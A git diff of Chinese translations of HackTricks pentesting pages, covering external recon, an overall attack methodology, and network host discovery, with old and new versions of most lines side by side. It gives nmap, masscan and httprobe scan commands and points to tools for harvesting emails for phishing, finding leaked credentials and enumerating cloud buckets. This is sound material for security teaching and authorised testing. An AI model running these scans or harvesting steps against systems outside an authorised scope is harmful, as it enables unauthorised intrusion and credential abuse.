此外,既然此时您将知道所有在范围内的域名,请尝试[**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
### **监控**
您可以通过监控 **证书透明度** 日志来 **监控** 一个域名是否创建了 **新子域名**[**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)可以做到这一点。
您可以通过监控**证书透明度**日志来**监控**某个域名是否创建了**新子域名**[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)可以做到这一点。
### **寻找漏洞**
检查可能的 [**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\
如果 **子域名** 指向某个 **S3 桶**[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
检查可能的[**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\
如果**子域名**指向某个**S3桶**[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
如果您发现任何 **子域名的 IP 与您在资产发现中找到的不同**,您应该执行 **基本漏洞扫描**(使用 Nessus OpenVAS和一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务,您可以在 **本书中找到一些“攻击”它们的技巧**。\
&#xNAN;_&#x4E;ote 有时子域名托管在不受客户控制的 IP 因此不在范围内请小心。_
如果您发现任何**子域名的IP与您在资产发现中找到的不同**,您应该执行**基本漏洞扫描**使用Nessus或OpenVAS和一些[**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside),使用**nmap/masscan/shodan**。根据运行的服务,您可以在**本书中找到一些“攻击”它们的技巧**。\
&#xNAN;_&#x4E;ote到有时子域名托管在不受客户控制的IP因此不在范围内请小心。_
## IPs
在初始步骤中,您可能已经 **找到了一些 IP 范围、域名和子域名**。\
现在是 **收集这些范围内的所有 IP** 和 **域名/子域名DNS 查询)**的时候
在初始步骤中,您可能已经**找到了一些IP范围、域名和子域名**。\
现在是**收集这些范围内的所有IP**以及**域名/子域名DNS查询**的时候了
使用以下 **免费 API** 的服务,您还可以找到 **域名和子域名使用先前 IP**。这些 IP 可能仍然归客户所有(并可能让您找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
使用以下**免费API**的服务,您还可以找到**域名和子域名之前使用的IP**。这些IP可能仍然归客户所有并可能让您找到[**CloudFlare绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
- [**https://securitytrails.com/**](https://securitytrails.com/)
您还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。
您还可以使用工具[**hakip2host**](https://github.com/hakluke/hakip2host)检查指向特定IP地址的域名。
### **寻找漏洞**
**对所有不属于 CDN IP 进行端口扫描**(因为您很可能不会在其中找到任何有趣的内容)。在发现的运行服务中,您可能 **能够找到漏洞**
**对所有不属于CDN的IP进行端口扫描**(因为您很可能不会在其中找到任何有趣的内容)。在发现的运行服务中,您可能**能够找到漏洞**。
**查找** [**指南**](../pentesting-network/) **关于如何扫描主机。**
## 网络服务器猎杀
> 我们已经找到了所有公司及其资产,并且我们知道范围内的 IP 范围、域名和子域名。现在是搜索网络服务器的时候了。
> 我们已经找到了所有公司及其资产并且我们知道范围内的IP范围、域名和子域名。现在是搜索网络服务器的时候了。
在之前的步骤中,您可能已经对发现的 **IP 和域名进行了某些侦察**,因此您可能 **已经找到了所有可能的网络服务器**。但是,如果您还没有,我们现在将看到一些 **快速技巧来搜索范围内的网络服务器**
在之前的步骤中,您可能已经对发现的IP和域名进行了某些**侦察**,因此您可能**已经找到了所有可能的网络服务器**。然而,如果您还没有,我们现在将看到一些**快速技巧来搜索范围内的网络服务器**。
请注意,这将是 **面向网络应用程序发现** 的,因此您还应该 **执行漏洞** **端口扫描**(如果范围允许)。
请注意,这将是**面向网络应用程序发现**的,因此您还应该**执行漏洞**和**端口扫描****如果范围允许**)。
一种 **快速方法** 是使用 [**masscan** 在此处发现与 **网络** 服务器相关的 **开放端口**](../pentesting-network/#http-port-discovery)。\
另一个友好的工具来查找网络服务器 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) [**httpx**](https://github.com/projectdiscovery/httpx)。您只需传递一个域名列表,它将尝试连接到 80 端口http 443 端口https。此外您可以指示尝试其他端口
一种**快速方法**是使用[**masscan**在这里发现与**网络**服务器相关的**开放端口**](../pentesting-network/index.html#http-port-discovery)。\
另一个友好的工具是[**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe)和[**httpx**](https://github.com/projectdiscovery/httpx)。您只需传递一个域名列表它将尝试连接到80http和443https端口。此外,您可以指示尝试其他端口:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **截图**
现在已经发现了范围内的**所有网络服务器**(在公司的**IP**和所有**域名**及**子域名**中),你可能**不知道从哪里开始**。所以,让我们简单一点,先对它们进行截图。仅通过**查看****主页**,你就可以找到更**容易**被**利用**的**奇怪**端点。
现在已经发现了范围内的**所有网络服务器**(在公司的**IP**和所有**域名**及**子域名**中),您可能**不知道从哪里开始**。所以,让我们简单一点,开始对它们进行截图。仅通过**查看****主页**,您就可以找到更**容易**被**利用**的**奇怪**端点。
为了执行这个提议,你可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**
要执行所提议的想法,您可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**
此外,还可以使用 [**eyeballer**](https://github.com/BishopFox/eyeballer) 来分析所有的**截图**,告诉**哪些可能包含漏洞**,哪些则不包含。
此外,还可以使用 [**eyeballer**](https://github.com/BishopFox/eyeballer) 来分析所有的**截图**,告诉**哪些可能包含漏洞**,哪些则不包含。
## 公有云资产
为了找到属于公司的潜在云资产,你应该**从一份识别该公司的关键词列表开始**。例如,对于一家加密公司,你可以使用以下词汇:“`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`”。
为了找到属于公司的潜在云资产,您应该**从一份识别该公司的关键词列表开始**。例如,对于一家加密公司,您可以使用以下词汇:“`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`”。
还需要**常用词汇**的字典,用于存储桶:
还需要**常用词汇**的字典,用于存储桶:
- [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
然后,使用这些词汇生成**排列组合**(查看 [**第二轮DNS暴力破解**](./#second-dns-bruteforce-round) 获取更多信息)。
然后,使用这些词汇生成**排列组合**有关更多信息,请查看 [**第二轮DNS暴力破解**](#second-dns-bruteforce-round))。
使用生成的字典,你可以使用工具如 [**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **或** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**。**
使用生成的字典,您可以使用工具,如 [**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **或** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**。**
记住,在寻找云资产时,你应该**寻找的不仅仅是AWS中的存储桶**。
请记住,在寻找云资产时,您应该**寻找的不仅仅是AWS中的存储桶**。
### **寻找漏洞**
如果你发现**开放的存储桶或暴露的云函数**,你应该**访问它们**,看看它们提供了什么,以及你是否可以利用它们。
如果您发现**开放的存储桶或暴露的云函数**,您应该**访问它们**,看看它们提供了什么,以及您是否可以利用它们。
## 电子邮件
通过范围内的**域名**和**子域名**基本上拥有了**开始搜索电子邮件**所需的所有信息。这些是我找到公司电子邮件时效果最好的**API**和**工具**
通过范围内的**域名**和**子域名**基本上拥有了**开始搜索电子邮件**所需的所有信息。这些是我找到公司电子邮件时效果最好的**API**和**工具**
- [**theHarvester**](https://github.com/laramies/theHarvester) - 使用API
- [**https://hunter.io/**](https://hunter.io/) 的API免费版
@ -531,33 +531,33 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **寻找漏洞**
电子邮件稍后将对**暴力破解网络登录和身份验证服务**如SSH非常有用。此外它们在**钓鱼**中也是必需的。此外这些API将为你提供更多关于电子邮件背后**个人**的信息,这对钓鱼活动非常有用。
电子邮件在后续**暴力破解网络登录和身份验证服务**如SSH时会派上用场。此外它们在**钓鱼**中也是必需的。此外这些API还会提供有关电子邮件背后**个人**的更多**信息**,这对钓鱼活动非常有用。
## 凭证泄露
通过**域名**、**子域名**和**电子邮件**可以开始寻找过去泄露的与这些电子邮件相关的凭证:
通过**域名**、**子域名**和**电子邮件**可以开始寻找过去泄露的与这些电子邮件相关的凭证:
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
- [https://www.dehashed.com/](https://www.dehashed.com/)
### **寻找漏洞**
如果发现**有效的泄露**凭证,这将是一个非常简单的胜利。
如果发现**有效的泄露**凭证,这将是一个非常简单的胜利。
## 秘密泄露
凭证泄露与公司被黑客攻击时**敏感信息泄露和出售**有关。然而,公司可能还会受到**其他泄露**的影响,这些信息不在那些数据库中:
凭证泄露与公司被黑客攻击时**敏感信息泄露和出售**有关。然而,公司可能还会受到**其他泄露**的影响,这些信息不在那些数据库中:
### Github泄露
凭证和API可能在**公司**或在该github公司工作的**用户**的**公共仓库**中泄露。\
可以使用**工具** [**Leakos**](https://github.com/carlospolop/Leakos) 来**下载**一个**组织**及其**开发者**的所有**公共仓库**,并自动运行 [**gitleaks**](https://github.com/zricethezav/gitleaks)。
可以使用**工具** [**Leakos**](https://github.com/carlospolop/Leakos) 来**下载**一个**组织**及其**开发者**的所有**公共仓库**,并自动运行 [**gitleaks**](https://github.com/zricethezav/gitleaks)。
**Leakos** 还可以用于对所有**文本**提供的**URL**运行**gitleaks**,因为有时**网页也包含秘密**。
**Leakos** 还可以用于对所有**提供的URL**进行**gitleaks**扫描,因为有时**网页中也包含秘密**。
#### Github Dorks
可以查看此**页面**,寻找你可以在攻击的组织中搜索的潜在**github dorks**
请查看此**页面**,以获取您可以在攻击的组织中搜索的潜在**github dorks**
{{#ref}}
github-leaked-secrets.md
@ -565,44 +565,44 @@ github-leaked-secrets.md
### Paste泄露
有时攻击者或员工会在**粘贴网站**上**发布公司内容**。这可能包含或不包含**敏感信息**,但搜索它非常有趣。\
可以使用工具 [**Pastos**](https://github.com/carlospolop/Pastos) 在80多个粘贴网站上同时搜索。
有时攻击者或普通员工会在**粘贴网站**上**发布公司内容**。这可能包含或不包含**敏感信息**,但搜索它非常有趣。\
可以使用工具 [**Pastos**](https://github.com/carlospolop/Pastos) 在80多个粘贴网站上同时搜索。
### Google Dorks
老而经典的google dorks始终对查找**不应存在的暴露信息**非常有用。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个你无法手动运行的可能查询。因此你可以选择你最喜欢的10个或者使用**工具如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们所有**。
老而经典的Google dorks始终有助于查找**不应存在的暴露信息**。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个您无法手动运行的可能查询。因此您可以选择您最喜欢的10个或者使用**工具,如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们**。
_请注意期望使用常规Google浏览器运行所有数据库的工具将永远无法完成因为Google会很快阻止。_
_请注意期望使用常规Google浏览器运行所有数据库的工具将永远无法完成因为Google会很快阻止。_
### **寻找漏洞**
如果发现**有效的泄露**凭证或API令牌这将是一个非常简单的胜利。
如果发现**有效的泄露**凭证或API令牌这将是一个非常简单的胜利。
## 公共代码漏洞
如果你发现公司有**开源代码**,你可以**分析**它并搜索**漏洞**。
如果您发现公司有**开源代码**,您可以**分析**它并搜索其上的**漏洞**。
**根据语言**的不同,可以使用不同的**工具**
**根据语言**的不同,可以使用不同的**工具**
{{#ref}}
../../network-services-pentesting/pentesting-web/code-review-tools.md
{{#endref}}
还有一些免费服务允许**扫描公共仓库**,例如:
还有一些免费服务允许**扫描公共仓库**,例如:
- [**Snyk**](https://app.snyk.io/)
## [**网络渗透测试方法论**](../../network-services-pentesting/pentesting-web/)
**大多数漏洞**都是由漏洞猎人发现,存在于**网络应用程序**中,因此在这一点上,我想谈谈**网络应用程序测试方法论**你可以在这里[**找到这些信息**](../../network-services-pentesting/pentesting-web/)。
**大多数漏洞**由漏洞猎人发现,存在于**网络应用程序**中,因此在这一点上,我想谈谈**网络应用程序测试方法论**您可以在 [**这里找到此信息**](../../network-services-pentesting/pentesting-web/)。
我还想特别提到[**开源工具的网络自动扫描器**](../../network-services-pentesting/pentesting-web/#automatic-scanners)部分,因为如果你不应该期望它们找到非常敏感的漏洞,它们在**工作流程中提供一些初步的网络信息**时非常有用。
我还想特别提到 [**Web自动扫描器开源工具**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 部分,因为如果您不应该期望它们找到非常敏感的漏洞,它们在**工作流程中实现一些初步网络信息**时非常有用。
##
##
> 恭喜!到目前为止,已经完成了**所有基本枚举**。是的,这很基础,因为可以进行更多的枚举(稍后会看到更多技巧)。
> 恭喜!到目前为止,已经完成了**所有基本枚举**。是的,这很基础,因为可以进行更多的枚举(稍后会看到更多技巧)。
所以已经:
所以已经:
1. 找到了范围内的**所有公司**
2. 找到了属于公司的**所有资产**(并在范围内进行了一些漏洞扫描)
@ -611,12 +611,12 @@ _请注意期望使用常规Google浏览器运行所有数据库的工具将
5. 找到了范围内的**所有IP**(来自和**不来自CDN**的IP
6. 找到了**所有网络服务器**并对它们进行了**截图**(是否有任何奇怪的地方值得深入研究?)
7. 找到了属于公司的**所有潜在公共云资产**。
8. **电子邮件**、**凭证泄露**和**秘密泄露**,这些可能会给你带来**非常轻松的重大胜利**。
9. **渗透测试找到的所有网站**
8. **电子邮件**、**凭证泄露**和**秘密泄露**,这些可能会让您**轻松获得重大胜利**。
9. **渗透测试找到的所有网站**
## **全自动侦查工具**
## **全面侦查自动化工具**
有几种工具可以执行针对特定范围的部分提议操作。
有几种工具可以针对给定范围执行部分提议的操作。
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)

View File

@ -1,48 +1,48 @@
# 渗透测试方法论
# Pentesting Methodology
{{#include ../banners/hacktricks-training.md}}
## 渗透测试方法论
## Pentesting Methodology
<figure><img src="../images/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
_Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_设计。_
_Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
### 0- 物理攻击
你是否对想攻击的机器有**物理访问**?你应该阅读一些关于[**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md)和其他关于[**从 GUI 应用程序逃脱**](../hardware-physical-access/escaping-from-gui-applications.md)的内容。
你是否对想攻击的机器有**物理访问**?你应该阅读一些关于[**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md)和其他关于[**从GUI应用程序逃脱**](../hardware-physical-access/escaping-from-gui-applications.md)的内容。
### 1 - [发现网络中的主机](pentesting-network/#discovering-hosts)/ [发现公司的资产](external-recon-methodology/)
### 1 - [发现网络中的主机](pentesting-network/index.html#discovering-hosts)/ [发现公司的资产](external-recon-methodology/)
**根据**你进行的**测试**是**内部测试还是外部测试**,你可能会对查找**公司网络的主机**(内部测试)或**在互联网上查找公司的资产**(外部测试)感兴趣。
**根据**你进行的**测试**是**内部测试还是外部测试**,你可能会对查找**公司网络内部的主机**(内部测试)或**在互联网上查找公司的资产**(外部测试)感兴趣。
> [!NOTE]
> 请注意,如果你正在进行外部测试,一旦你成功获得对公司内部网络的访问,你应该重新开始本指南。
### **2-** [**与网络玩乐**](pentesting-network/) **(内部)**
### **2-** [**与网络一起玩乐**](pentesting-network/) **(内部)**
**本节仅适用于进行内部测试的情况。**\
在攻击主机之前,也许你更愿意**从网络中窃取一些凭据**或**嗅探**一些**数据**以**被动/主动MitM**了解你可以在网络中找到什么。你可以阅读[**渗透测试网络**](pentesting-network/#sniffing)。
**本节仅适用于进行内部测试的情况。**\
在攻击主机之前,也许你更愿意**从网络中窃取一些凭据**或**嗅探**一些**数据**以**被动/主动MitM**了解你可以在网络中找到什么。你可以阅读[**Pentesting Network**](pentesting-network/index.html#sniffing)。
### 3- [端口扫描 - 服务发现](pentesting-network/#scanning-hosts)
### 3- [端口扫描 - 服务发现](pentesting-network/index.html#scanning-hosts)
在**寻找主机中的漏洞**时,首先要了解**哪些服务在什么端口上运行**。让我们看看[**扫描主机端口的基本工具**](pentesting-network/#scanning-hosts)。
在**寻找主机中的漏洞**时,首先要了解**哪些服务在什么端口上运行**。让我们看看[**扫描主机端口的基本工具**](pentesting-network/index.html#scanning-hosts)。
### **4-** [搜索服务版本漏洞](../generic-hacking/search-exploits.md)
一旦你知道哪些服务在运行,也许它们的版本,你就必须**搜索已知的漏洞**。也许你会运气好,找到一个可以给你一个 shell 的漏洞...
一旦你知道哪些服务在运行,也许还知道它们的版本,你就必须**搜索已知的漏洞**。也许你会运气好找到一个可以给你一个shell的漏洞...
### **5-** 渗透测试服务
### **5-** Pentesting服务
如果没有任何运行服务的花哨漏洞,你应该寻找**每个运行服务中的常见错误配置**。
**在本书中,你将找到渗透测试最常见服务的指南**(以及其他不太常见的服务)。请在左侧索引中搜索**_**渗透测试**_**部分**(服务按其默认端口排序)。
**在本书中,你将找到一个关于渗透测试最常见服务的指南**(以及其他不那么常见的服务)。请在左侧索引中搜索**_**PENTESTING**_ **部分**(服务按其默认端口排序)。
**我想特别提到** [**渗透测试 Web**](../network-services-pentesting/pentesting-web/) **部分(因为这是最广泛的部分)。**\
此外,这里可以找到关于如何[**查找软件中的已知漏洞**](../generic-hacking/search-exploits.md)的小指南。
**我想特别提到** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分(因为这是最广泛的部分)。**\
此外,这里还有一个关于如何[**查找软件中的已知漏洞**](../generic-hacking/search-exploits.md)的小指南。
**如果你的服务不在索引中,请在 Google 中搜索**其他教程,并**告诉我你是否希望我添加它。**如果你**在 Google 中找不到任何东西**,请进行**自己的盲目渗透测试**,你可以开始**连接到服务,模糊测试并阅读响应**(如果有的话)。
**如果你的服务不在索引中请在Google中搜索**其他教程,并**告诉我你是否希望我添加它。**如果你**在Google中找不到任何东西**,请进行**自己的盲目渗透测试**,你可以开始**连接到服务,模糊测试并阅读响应**(如果有的话)。
#### 5.1 自动工具
@ -52,19 +52,19 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
在某些情况下,**暴力破解**可能对**破坏**一个**服务**有用。[**在这里找到不同服务暴力破解的备忘单**](../generic-hacking/brute-force.md)**。**
### 6- [网络钓鱼](phishing-methodology/)
### 6- [钓鱼](phishing-methodology/)
如果到目前为止你没有找到任何有趣的漏洞,你**可能需要尝试一些网络钓鱼**以便进入网络。你可以在[这里](phishing-methodology/)阅读我的网络钓鱼方法论:
如果到目前为止你没有找到任何有趣的漏洞,你**可能需要尝试一些钓鱼**以便进入网络。你可以在[这里](phishing-methodology/)阅读我的钓鱼方法论:
### **7-** [**获取 Shell**](../generic-hacking/reverse-shells/)
### **7-** [**获取Shell**](../generic-hacking/reverse-shells/)
不知怎么的,你应该找到**在受害者上执行代码的某种方法**。然后,[在系统中可以用来获取反向 shell 的可能工具列表将非常有用](../generic-hacking/reverse-shells/)。
不知怎么的,你应该找到**在受害者上执行代码的某种方法**。然后,[在系统中可以用来获取反向shell的可能工具列表将非常有用](../generic-hacking/reverse-shells/)。
特别是在 Windows 中,你可能需要一些帮助来**避免杀毒软件**[**查看此页面**](../windows-hardening/av-bypass.md)**。**\\
特别是在Windows中你可能需要一些帮助来**避免杀毒软件**[**查看此页面**](../windows-hardening/av-bypass.md)**。**\\
### 8- 内部
如果你在 shell 上遇到问题,这里可以找到一些**对渗透测试者最有用的命令的汇编**
如果你在shell中遇到问题这里有一个小的**最有用命令的汇编**供渗透测试人员使用
- [**Linux**](../linux-hardening/useful-linux-commands.md)
- [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
@ -72,65 +72,65 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
### **9 -** [**数据外泄**](../generic-hacking/exfiltration.md)
你可能需要**从受害者那里提取一些数据**,甚至**引入一些东西**(如特权升级脚本)。**这里有一篇关于你可以用来实现这些目的的** [**常用工具的文章**](../generic-hacking/exfiltration.md)**。**
你可能需要**从受害者那里提取一些数据**,甚至**引入一些东西**(如特权升级脚本)。**这里有一篇** [**关于你可以用来实现这些目的的常用工具的文章**](../generic-hacking/exfiltration.md)**。**
### **10- 特权升级**
#### **10.1- 本地特权升级**
如果你在盒子里**不是 root/管理员**,你应该找到一种方法来**提升特权**。\
在这里你可以找到**在** [**Linux**](../linux-hardening/privilege-escalation/) **和** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **中本地提升特权的指南**\
你还应该查看这些关于**Windows 工作原理**的页面:
如果你在盒子里**不是root/管理员**,你应该找到一种方法来**提升特权**。\
在这里你可以找到**在** [**Linux**](../linux-hardening/privilege-escalation/) **和** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **中本地提升特权的指南**\
你还应该查看这些关于**Windows工作原理**的页面:
- [**身份验证、凭据、令牌特权和 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
- [**NTLM 工作原理**](../windows-hardening/ntlm/)
- 如何[**窃取凭据**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) Windows
- 一些关于[_**活动目录**_](../windows-hardening/active-directory-methodology/)的技巧
- [**身份验证、凭据、令牌特权和UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
- [**NTLM工作原理**](../windows-hardening/ntlm/)
- 如何[**窃取凭据**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)在Windows中
- 一些关于[_**Active Directory**_](../windows-hardening/active-directory-methodology/)的技巧
**不要忘记查看最佳工具以枚举 Windows Linux 本地特权升级路径:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
**不要忘记查看最佳工具以枚举Windows和Linux本地特权升级路径** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- 域特权升级**
在这里你可以找到一篇[**方法论,解释最常见的操作以枚举、提升特权和在活动目录中持久化**](../windows-hardening/active-directory-methodology/)。即使这只是一个部分的子部分,这个过程在渗透测试/红队任务中可能是**极其微妙**的。
在这里你可以找到一篇[**方法论,解释最常见的操作以枚举、提升特权并在Active Directory中保持持久性**](../windows-hardening/active-directory-methodology/)。即使这只是一个部分的子部分,这个过程在渗透测试/红队任务中可能是**极其微妙**的。
### 11 - POST
#### **11**.1 - 掠夺
检查你是否可以在主机中找到更多**密码**,或者你是否有**访问其他机器**的**用户权限**。\
在这里找到不同的方法来[**在 Windows 中转储密码**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)。
在这里找到不同的方法来[**在Windows中转储密码**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)。
#### 11.2 - 持久性
**使用 2 或 3 种不同类型的持久性机制,这样你就不需要再次利用系统。**\
**在这里你可以找到一些** [**关于活动目录的持久性技巧**](../windows-hardening/active-directory-methodology/#persistence)**。**
**使用2到3种不同类型的持久性机制,这样你就不需要再次利用系统。**\
**在这里你可以找到一些** [**关于Active Directory的持久性技巧**](../windows-hardening/active-directory-methodology/index.html#persistence)**。**
TODO: 完成 Windows 和 Linux 的持久性后期处理
TODO: 完成Windows和Linux中的持久性后期处理
### 12 - 透
### 12 - 透
通过**收集到的凭据**,你可能可以访问其他机器,或者你可能需要**发现和扫描新主机**(重新开始渗透测试方法论)在受害者连接的新网络中。\
在这种情况下,隧道可能是必要的。这里你可以找到[**关于隧道的文章**](../generic-hacking/tunneling-and-port-forwarding.md)。\
你绝对应该查看关于[活动目录渗透测试方法论](../windows-hardening/active-directory-methodology/)的文章。在那里你会找到很酷的技巧来横向移动、提升特权和转储凭据。\
还要查看关于[**NTLM**](../windows-hardening/ntlm/)的页面,这在 Windows 环境中可能非常有用。
你绝对应该查看关于[Active Directory渗透测试方法论](../windows-hardening/active-directory-methodology/)的文章。在那里你会找到很酷的技巧来横向移动、提升特权和转储凭据。\
还要查看关于[**NTLM**](../windows-hardening/ntlm/)的页面这在Windows环境中透传时可能非常有用。
### 更多
#### [Android 应用程序](../mobile-pentesting/android-app-pentesting/)
#### [Android应用程序](../mobile-pentesting/android-app-pentesting/)
#### **利用**
- [**基本 Linux 利用**](broken-reference/)
- [**基本 Windows 利用**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [**基本Linux利用**](broken-reference/)
- [**基本Windows利用**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [**基本利用工具**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
#### [**基本 Python**](python/)
#### [**基本Python**](python/)
#### **加密技巧**
- [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
- [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
- [**填充 Oracle**](../crypto-and-stego/padding-oracle-priv.md)
- [**填充Oracle**](../crypto-and-stego/padding-oracle-priv.md)
{{#include ../banners/hacktricks-training.md}}

View File

@ -12,7 +12,7 @@
### ICMP
这是发现主机是否在线的**最简单**和**最快**的方法。\
您可以尝试发送一些**ICMP**数据包并**期待响应**。最简单的方法是发送一个**回显请求**并期待响应。您可以使用简单的`ping`或使用`fping`进行**范围**测试。\
您可以尝试发送一些**ICMP**数据包并**期待响应**。最简单的方法是发送一个**回显请求**并期待响应。您可以使用简单的`ping`或使用`fping`来处理**范围**。\
您还可以使用**nmap**发送其他类型的ICMP数据包这将避免对常见ICMP回显请求-响应的过滤)。
```bash
ping -c 1 199.66.11.4 # 1 echo request to a host
@ -21,13 +21,13 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
```
### TCP端口发现
很常见的是发现所有类型的ICMP数据包都被过滤。因此能做的就是**尝试查找开放端口**来检查主机是否在线。每个主机有**65535个端口**,所以如果您有一个“大的”范围,您**无法**测试每个主机的**每个端口**是否开放,这将花费太多时间。\
因此,您需要的是一个**快速端口扫描器** ([masscan](https://github.com/robertdavidgraham/masscan)) 和一个**最常用端口**的列表:
很常见的情况是所有类型的ICMP数据包都被过滤。因此可以检查主机是否在线的唯一方法是**尝试查找开放端口**。每个主机有**65535个端口**,所以,如果您有一个“大的”范围,您**无法**测试每个主机的**每个端口**是否开放,这将花费太多时间。\
因此,您需要的是一个**快速端口扫描器** ([masscan](https://github.com/robertdavidgraham/masscan)) 和一个**使用最频繁的端口**列表:
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
```
您也可以使用 `nmap` 执行此步骤,但较慢,并且 `nmap` 在识别主机时存在一些问题。
您也可以使用 `nmap` 执行此步骤,但速度较慢,并且 `nmap` 在识别主机时存在一些问题。
### HTTP 端口发现
@ -37,13 +37,13 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### UDP端口发现
您还可以尝试检查一些**UDP端口是否开放**,以决定是否应该**更加关注**一个**主机**。由于UDP服务通常**不响应**常规空UDP探测数据包因此很难判断端口是被过滤还是开放。决定这一点的最简单方法是发送与正在运行的服务相关的包由于您不知道正在运行哪个服务您应该根据端口号尝试最可能的服务
您还可以尝试检查一些**UDP端口是否开放**,以决定是否应该**更加关注**一个**主机**。由于UDP服务通常**不响应**常规空UDP探测数据包因此很难判断端口是被过滤还是开放。决定这一点的最简单方法是发送与正在运行的服务相关的包由于您不知道正在运行哪个服务,您应该根据端口号尝试最可能的服务:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```
